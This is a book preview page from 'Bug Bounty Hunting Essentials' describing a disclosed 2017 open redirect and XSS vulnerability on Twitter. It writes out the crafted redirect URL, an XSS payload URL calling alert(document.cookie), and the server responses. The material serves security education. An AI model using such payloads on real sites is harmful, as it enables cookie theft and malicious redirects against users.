November 2018
Beginner to intermediate
270 pages
7h 53m
English
Content preview from Bug Bounty Hunting Essentials
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XSS and open redirect on Twitter
On September 29th, 2017, a researcher named Sergey Bobrov published a vulnerability that affected Twitter. This is a clear case of one of the examples we reviewed before.
Sergey Bobrov discovered the following redirection in Twitter's code:
https://dev.twitter.com/https:/%5cblackfan.ru/
By analyzing the application's response, he got the following result:
HTTP/1.1 302 Found connection: close ... location: https:/\blackfan.ru
To exploit it, he entered a JavaScript code into the URL to be evaluated by the application, as follows:
https://dev.twitter.com//x:1/:///%01javascript:alert(document.cookie)/
The HTTP response, generated by Twitter was:
HTTP/1.1 302 Found
connection: close
...
location: //x:1/://dev.twitter.com/javascript:alert(document.cookie) ...Become an O’Reilly member and get unlimited access to this title plus top books and audiobooks from O’Reilly and nearly 200 top publishers, thousands of courses curated by job role, 150+ live events each month,
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